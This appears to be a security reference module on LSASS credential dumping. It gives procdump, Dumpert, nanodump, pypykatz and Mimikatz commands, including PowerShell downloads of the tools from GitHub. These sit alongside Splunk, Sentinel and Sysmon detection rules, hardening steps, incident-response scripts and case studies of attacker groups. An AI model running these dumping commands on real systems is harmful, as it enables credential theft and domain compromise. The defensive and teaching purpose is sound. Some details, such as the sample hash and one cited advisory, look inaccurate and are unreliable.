procdump64.exe -accepteula -mm lsass.exe C:\Windows\Temp\lsass_minidump.dmp # Mini-dump variant
Current Version: Latest (actively maintained) Minimum Version: Latest (no older versions maintained) Supported Platforms: Windows Server 2016-2025, Windows 10/11 Requirements: Administrator privileges, ntdll.dll access, direct syscall capability.
Installation:
$dumpertURL = "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe"
$outputPath = "C:\Windows\Temp\Dumpert.exe"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $dumpertURL -OutFile $outputPath
Usage:
Dumpert.exe
REM Output: C:\Windows\Temp\dumpert.dmp
Current Version: Latest (actively maintained) Minimum Version: Latest Supported Platforms: Windows Server 2016-2025, Windows 10/11 all builds Requirements: Administrator privileges, ntdll.dll access, direct syscall capability.
Installation:
$nanodumpURL = "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe"
$outputPath = "C:\Windows\Temp\nanodump.exe"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $nanodumpURL -OutFile $outputPath
Usage:
nanodump.exe -w "C:\Windows\Temp\nanodump.dmp"
nanodump.exe --silent-process-exit "C:\Windows\Temp\" # Silent Process Exit variant
Current Version: Latest (actively maintained) Minimum Version: Latest Supported Platforms: Windows, Linux, macOS (for offline dump analysis) Requirements: Python 3.6+, dumped LSASS .dmp file.
Installation:
# Install Python 3 first, then:
pip install pypykatz
Usage:
# Live LSASS parsing (Windows only)
pypykatz live lsa
# Offline dump analysis (any platform)
pypykatz minidump <path_to_lsass.dmp>
Rule Configuration:
SPL Query:
sourcetype=WinEventLog:Sysmon EventCode=10 TargetImage="*lsass.exe" (AccessMask=0x1010 OR AccessMask=0x1410 OR AccessMask=0x1F0FFF)
| stats count by SourceImage, SourceUser, AccessMask
| where count >= 3
What This Detects:
Manual Configuration Steps (Splunk Web):
Search Condition: >0False Positive Analysis:
| where SourceImage NOT IN ("C:\\Program Files\\*\\MsMpEng.exe", "C:\\Windows\\Temp\\*")Source: Splunk Blog - Hunting LSASS Access
Rule Configuration:
SPL Query:
sourcetype=WinEventLog:Security EventCode=4688 (ParentImage="*\\rundll32.exe" OR ParentImage="*\\taskmgr.exe" OR ParentImage="*\\comsvcs.dll")
(CommandLine="*MiniDump*" OR CommandLine="*lsass*" OR CommandLine="*procdump*")
| stats count by ParentImage, User, CommandLine
What This Detects:
Manual Configuration Steps:
Search condition: count >= 1Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 10 // Sysmon ProcessAccess
| where TargetProcessName endswith "lsass.exe"
| where AccessMask in ("0x1010", "0x1410", "0x1F0FFF") // Suspicious access masks
| summarize AccessCount = count() by SourceProcessName, SourceUserName, TargetProcessName
| where AccessCount >= 3
| project TimeGenerated, SourceProcessName, SourceUserName, AccessCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious LSASS Memory Access - Credential Dumping AttemptManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
$query = @"
SecurityEvent
| where EventID == 10
| where TargetProcessName endswith "lsass.exe"
| where AccessMask in ("0x1010", "0x1410", "0x1F0FFF")
| summarize AccessCount = count() by SourceProcessName, SourceUserName
| where AccessCount >= 3
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Suspicious LSASS Memory Access" `
-Query $query `
-Severity "High" `
-Enabled $true `
-TriggerOperator "GreaterThan" `
-TriggerThreshold 0
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4688 // Process Creation
| where CommandLine contains "MiniDump" or CommandLine contains "lsass" or CommandLine contains "Invoke-Mimikatz"
| where ParentProcessName in ("rundll32.exe", "taskmgr.exe", "powershell.exe", "cmd.exe")
| project TimeGenerated, CommandLine, ParentProcessName, SubjectUserName, Computer
| summarize count() by ParentProcessName, SubjectUserName
What This Detects:
Event ID: 4656 - Handle to an Object Was Requested
Event ID: 4663 - An Attempt Was Made to Access an Object
Event ID: 4688 - A New Process Has Been Created
Manual Configuration Steps (Group Policy):
gpupdate /force on target machines.Manual Configuration Steps (Local Policy - Server 2022+):
auditpol /set /subcategory:"Handle Manipulation" /success:enable /failure:enableVerification Command:
auditpol /get /subcategory:"Handle Manipulation"
REM Expected output: Success and Failure: Enabled
Minimum Sysmon Version: 13.0+ (for enhanced LSASS protection features) Supported Platforms: Windows Server 2016-2025, Windows 10/11
<Sysmon schemaversion="4.30">
<!-- Detect ProcessAccess to LSASS.exe -->
<RuleGroup name="LSASS Memory Dump Detection" groupRelation="or">
<ProcessAccess onmatch="include">
<!-- Target: lsass.exe -->
<TargetImage condition="image">lsass.exe</TargetImage>
<!-- Suspicious access masks (credentials dumping) -->
<AccessMask condition="is">0x1010</AccessMask>
<!-- Or full access -->
<AccessMask condition="is">0x1F0FFF</AccessMask>
<!-- Suspicious source processes (exclude known-safe) -->
<SourceImage condition="is not">C:\Program Files\Microsoft\Exchange Server\V15\Bin\ExchangeProvider.dll</SourceImage>
</ProcessAccess>
</RuleGroup>
<!-- Detect command-line execution with LSASS dumping keywords -->
<RuleGroup name="LSASS Dumping Keyword Detection" groupRelation="or">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">Invoke-Mimikatz</CommandLine>
<CommandLine condition="contains">sekurlsa</CommandLine>
<CommandLine condition="contains">MiniDump</CommandLine>
<CommandLine condition="contains">procdump</CommandLine>
<CommandLine condition="contains">lsass.dmp</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect file creation of dumps -->
<RuleGroup name="LSASS Dump File Creation" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="contains">lsass</TargetFilename>
<TargetFilename condition="ends with">.dmp</TargetFilename>
<TargetFilename condition="ends with">dumpert.dmp</TargetFilename>
<TargetFilename condition="ends with">nanodump.dmp</TargetFilename>
</FileCreate>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xml with the XML above.sysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
Alert Name: “Suspicious Process Memory Dumping Detected”
Manual Configuration Steps (Enable Defender for Cloud):
Built-in Rules Covering LSASS Dumping:
PowerShell Command:
# Connect to Security & Compliance PowerShell
Connect-IPPSSession
# Search for suspicious LSASS-related activities
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -FreeText "lsass" | Select-Object -First 100
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -Operations "DumpLSASS", "CredentialAccess"
Operation: CredentialAccess (if logged via M365 APIs) Workload: AzureActiveDirectory, ExchangeOnline Details to Analyze:
Manual Configuration Steps (Enable Unified Audit Log):
Manual Configuration Steps (Search Audit Logs):
PowerShell Extraction:
$auditLogs = Search-UnifiedAuditLog -StartDate "2026-01-02" -EndDate "2026-01-09" -FreeText "lsass"
$auditLogs | Export-Csv -Path "C:\Audit_Logs.csv" -NoTypeInformation
Objective: Prevent user-mode LSASS dumping by protecting LSASS.exe as a Protected Process Light (PPL).
Applies To Versions:
Manual Steps (Registry - PowerShell):
# Enable LSA Protection (UEFI Secure Boot required for full protection)
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -PropertyType DWord -Force
Write-Host "[+] LSA Protection enabled (RunAsPPL = 1)"
# Verify setting
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL
REM Expected: RunAsPPL : 1 (no UEFI lock) or 2 (with UEFI lock)
# Restart system for change to take effect
Restart-Computer -Force
Manual Steps (Group Policy - Server 2022+):
gpupdate /force on target machines.Validation Command:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL
# Expected output: RunAsPPL : 1 or 2
# 0 = Disabled (VULNERABLE)
# 1 = Enabled (no UEFI lock - partial mitigation)
# 2 = Enabled with UEFI lock (FULL mitigation)
Objective: Isolate LSASS credentials in a virtualized environment, preventing plaintext password extraction even if LSASS is dumped.
Applies To Versions:
Requirements:
Manual Steps (PowerShell - Server 2016-2022):
# Enable Credential Guard via registry
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" -Name "LsaCfgFlags" -Value 1 -PropertyType DWord -Force
Write-Host "[+] Credential Guard enabled"
# Restart system
Restart-Computer -Force
Manual Steps (Group Policy - Domain-Joined):
gpupdate /forceVerification Command:
# Check if Credential Guard is enabled
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name Enabled
# Expected: Enabled : 1 (enabled) or 0 (disabled)
# Or use PowerShell for detailed status
Get-ComputerInfo | Select-Object DeviceGuard*
Objective: Remove plaintext passwords from LSASS memory by disabling the WDigest authentication protocol.
Applies To Versions: All (especially Server 2012+) Note: WDigest is disabled by default on Server 2012+ but can be re-enabled maliciously; verify it’s disabled.
Manual Steps (PowerShell):
# Disable WDigest (set to 0)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0 -Type DWord -Force
Write-Host "[+] WDigest plaintext passwords disabled"
# Verify setting
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name UseLogonCredential
# Expected: UseLogonCredential : 0 (disabled) - SECURE
# Any other value (especially 1) = plaintext passwords in LSASS = VULNERABLE
Manual Steps (Group Policy):
gpupdate /forceObjective: Limit the number of users with local administrator privileges, reducing the attack surface for privilege escalation to LSASS dumping.
Manual Steps (PowerShell):
# List all local administrators
Get-LocalGroupMember -Group "Administrators" | Select-Object Name, PrincipalSource
# Remove non-essential admin accounts
Remove-LocalGroupMember -Group "Administrators" -Member "DOMAIN\ServiceAccount" -Force
# Verify removal
Get-LocalGroupMember -Group "Administrators"
Manual Steps (Group Policy - Domain):
gpupdate /forceObjective: Use Microsoft Defender ASR rules to block common LSASS dumping techniques at the endpoint level.
Applies To: Defender for Endpoint, Microsoft Defender for Business
Manual Steps (Microsoft Endpoint Manager - Intune):
d1e49aac-8f56-4038-ad9b-34d7a92c1f32)Manual Steps (Group Policy - Domain):
gpupdate /forceVerification (PowerShell):
# Check ASR rule status
Get-MpPreference | Select-Object AttackSurfaceReductionRules*
# Or check via Group Policy:
gpresult /h C:\report.html # Review report for ASR settings
Objective: Prevent credential leakage in RDP sessions, which could be leveraged for LSASS dumping via Remote Credential Guard.
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell):
# Enable Restricted Admin Mode
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -Type DWord -Force
Write-Host "[+] Restricted Admin Mode enabled"
# Verify
Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin"
# Expected: DisableRestrictedAdmin : 0 (enabled)
C:\Windows\Temp\lsass.dmp (standard ProcDump output)C:\Windows\Temp\lsass_dump.dmp (variant)C:\Users\[USERNAME]\AppData\Local\Temp\lsass*.dmp (Task Manager output)C:\Windows\Temp\dumpert.dmp (Dumpert output)C:\Windows\Temp\nanodump.dmp (NanoDump output)C:\Windows\Temp\Procdump.zip (ProcDump installer)C:\Windows\Temp\Procdump\procdump64.exe (extracted ProcDump)C:\Windows\Temp\*.zip (downloaded tools)HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 0 (PPL disabled - VULNERABLE)HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 1 (plaintext passwords enabled)Objective: Disconnect affected system from network to prevent lateral movement.
Command (PowerShell - Admin):
# Disconnect network adapter
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
Write-Host "[+] Network adapter disabled - System isolated"
Manual (Azure VMs):
Manual (On-Premises):
Objective: Preserve evidence before system shutdown.
Command (PowerShell - Admin):
# Export Security Event Log
wevtutil epl Security "C:\Evidence\Security.evtx" /overwrite:true
wevtutil epl System "C:\Evidence\System.evtx" /overwrite:true
wevtutil epl Application "C:\Evidence\Application.evtx" /overwrite:true
# Export Sysmon logs (if installed)
wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Evidence\Sysmon.evtx" /overwrite:true
# Capture LSASS process memory (post-incident analysis)
$outputPath = "C:\Evidence\lsass_memory.dmp"
procdump -ma lsass.exe $outputPath # Or use previous LSASS dump file
# Collect file artifacts
Copy-Item -Path "C:\Windows\Temp\lsass*.dmp" -Destination "C:\Evidence\" -ErrorAction SilentlyContinue
Copy-Item -Path "C:\Windows\Temp\dumpert.dmp" -Destination "C:\Evidence\" -ErrorAction SilentlyContinue
Copy-Item -Path "C:\Windows\Temp\nanodump.dmp" -Destination "C:\Evidence\" -ErrorAction SilentlyContinue
# Hash collected files for integrity
Get-FileHash -Path "C:\Evidence\*" | Export-Csv "C:\Evidence\FileHashes.csv"
Write-Host "[+] Evidence collected to C:\Evidence\"
Manual (Event Viewer):
C:\Evidence\Security.evtx.Objective: Invalidate stolen credentials to prevent further lateral movement.
Command (PowerShell - Domain Admin, from DC):
# Reset password for all Domain Admins
$adminUsers = Get-ADGroupMember -Identity "Domain Admins"
foreach ($user in $adminUsers) {
Set-ADAccountPassword -Identity $user -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force) -Reset
Write-Host "[+] Password reset for: $($user.Name)"
}
# Invalidate Kerberos TGTs (requires domain replication)
Get-ADUser -Filter * | Set-ADUser -ChangePasswordAtNextLogon $true
# Reset krbtgt password (CRITICAL for Kerberos)
Set-ADAccountPassword -Identity "krbtgt" -NewPassword (ConvertTo-SecureString -AsPlainText (New-Guid).ToString() -Force) -Reset
Write-Host "[+] krbtgt password reset - All Kerberos tickets invalidated"
# Force AD replication
repadmin /syncall /d /P
Manual Steps (Active Directory Users & Computers):
For Service Accounts:
# Identify service accounts that may have been compromised
Get-ADUser -Filter {ServicePrincipalName -ne "*"} | Select-Object Name, ServicePrincipalName
# Reset their passwords and update services
$newPassword = (New-Guid).ToString()
Set-ADAccountPassword -Identity "SVC_SharePoint" -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force) -Reset
# Update password in service: Services → Right-click Service → Properties → Log On tab → Update password
Objective: Identify and remove backdoors, scheduled tasks, or other persistence mechanisms installed by attacker post-LSASS dump.
Command (PowerShell):
# Hunt for suspicious scheduled tasks
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "NT AUTHORITY\SYSTEM" -or $_.Principal.UserId -eq "BUILTIN\Administrators"} | Select-Object TaskName, TaskPath, @{Name="CreationTime";Expression={(Get-ItemProperty -Path ("Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\$($_.TaskPath -replace '\\Micros','') ...") -Name "Description" -ErrorAction SilentlyContinue).PSParentPath}} | Format-Table
# Look for suspicious registry run keys
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | Select-Object -Property * | Format-List
# Check for suspicious startup programs
Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location | Format-Table
# Look for WMI persistence
Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter" | Select-Object Name, Query
# Check for suspicious services
Get-Service | Where-Object {$_.StartType -eq "Automatic" -and $_.Status -eq "Running"} | Select-Object Name, DisplayName | Format-Table
Manual Steps (Task Scheduler):
Objective: Determine which credentials were compromised to assess lateral movement risk.
Command (Offline Analysis with Mimikatz):
REM On isolated analysis machine:
mimikatz.exe "sekurlsa::minidump C:\Evidence\lsass_memory.dmp" "sekurlsa::logonpasswords full" exit > C:\Analysis\dumped_credentials.txt
REM Or with pypykatz (Python):
pypykatz minidump C:\Evidence\lsass_memory.dmp > C:\Analysis\credentials.json
Output Analysis:
Authentication Id : 0 ; 61504 (0000:00010000)
Session : Interactive
User Name : DOMAIN\Administrator
Domain : DOMAIN
Logon Server : DC01
Logon Time : 1/2/2026 6:30:00 AM
SID : S-1-5-21-...
msv :
[00000003] Primary
* Username : DOMAIN\Administrator
* Domain : DOMAIN
* NTLM : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6 <-- COMPROMISED HASH
* SHA1 : x9y8z7a6b5c4d3e2f1g0h9i8j7k6l5m4n3
kerberos :
[00000000] Initial TGT
* Username : DOMAIN\Administrator
* Domain : DOMAIN
* SID : S-1-5-21-...
* LM : (null)
* NTLM : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
* tkt start : 1/2/2026 6:30:00 AM
* tkt end : 1/3/2026 12:30:00 AM <-- Kerberos ticket valid until this time
Immediate Actions:
Objective: Apply permanent mitigations across all systems to prevent recurrence.
Command (PowerShell - Deploy via GPO to all domain computers):
# Deploy LSA Protection domain-wide via GPO
# (Assumes Group Policy already configured as per Mitigations section)
# Verify deployment on sample machines
$testMachines = @("SERVER01", "SERVER02", "WORKSTATION01")
foreach ($machine in $testMachines) {
Invoke-Command -ComputerName $machine -ScriptBlock {
$runasppl = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name RunAsPPL -ErrorAction SilentlyContinue
Write-Host "[$($env:COMPUTERNAME)] RunAsPPL = $($runasppl.RunAsPPL)"
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566.002] Phishing - Spearphishing Link | Attacker sends malicious link → compromise user workstation |
| 2 | Execution | [T1204.001] User Execution - Malicious Link | User clicks link → malware downloads & executes |
| 3 | Privilege Escalation | [T1548.002] Abuse Elevation Control Mechanism - UAC Bypass | Malware bypasses UAC → gains administrative privileges |
| 4 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Dumping | Attacker extracts cached credentials from LSASS memory |
| 5 | Lateral Movement | [T1550.002] Use Alternate Authentication Material - Pass-the-Hash | Attacker uses extracted NTLM hashes to compromise domain controller |
| 6 | Persistence | [T1547.009] Boot or Logon Initialization Scripts - Scheduled Task/Job | Attacker creates scheduled task on DC for persistence |
| 7 | Impact | [T1531] Account Access Removal - Domain Wide Password Reset | Attacker resets domain passwords → locks out legitimate admins |
Attacker: Sandworm Team (Russian GRU Unit 74455) Target: Ukrainian power distribution operators Timeline: December 2015 - December 2016 Technique Status: Mimikatz used with Windows Server 2008-2012 R2 systems (no PPL protection) Impact: Power outage affecting 230,000+ customers; critical infrastructure compromise
Attack Chain:
Key Indicators:
Reference: Ukraine DHS ICS Alert TA14-353A
Attacker: HAFNIUM (Chinese APT) Target: Microsoft Exchange Servers (global) Timeline: January - March 2021 Technique Status: Mimikatz + alternative tools on Server 2012/2016/2019 (varying PPL configuration) Impact: 30,000+ organizations compromised; ransomware, data exfiltration, persistence
Attack Chain:
Mimikatz Usage:
mimikatz # sekurlsa::logonpasswords
mimikatz # token::elevate
mimikatz # lsadump::lsa /inject
Detection Evasion:
Invoke-Mimikatz).Reference: Microsoft Security Blog - HAFNIUM
Attacker: APT28 / Fancy Bear (Russian GRU) Targets: Government, Defense, Energy sectors (NATO countries) Timeline: 2016-Present (ongoing as of 2026) Technique Status: Mimikatz + ProcDump on Server 2016/2019 with varying PPL configurations Impact: Long-term espionage, theft of classified defense secrets
Operational Pattern:
Observed Tools:
Defender Response:
Reference: CISA Advisory on APT28
This comprehensive module provides Red Teams with detailed execution methods, evasion techniques, and post-exploitation strategies for Mimikatz LSASS credential dumping. Blue Teams have specific detection rules (Splunk, Sentinel, Sysmon, Windows Event Log), forensic procedures, and hardening mitigations to defend against this critical attack.
Key Takeaway: LSASS credential dumping remains one of the most impactful attack techniques in Windows environments. A single successful dump can lead to organization-wide compromise. Layered defenses (LSA Protection + Credential Guard + Attack Surface Reduction + continuous monitoring) are essential to prevent this attack.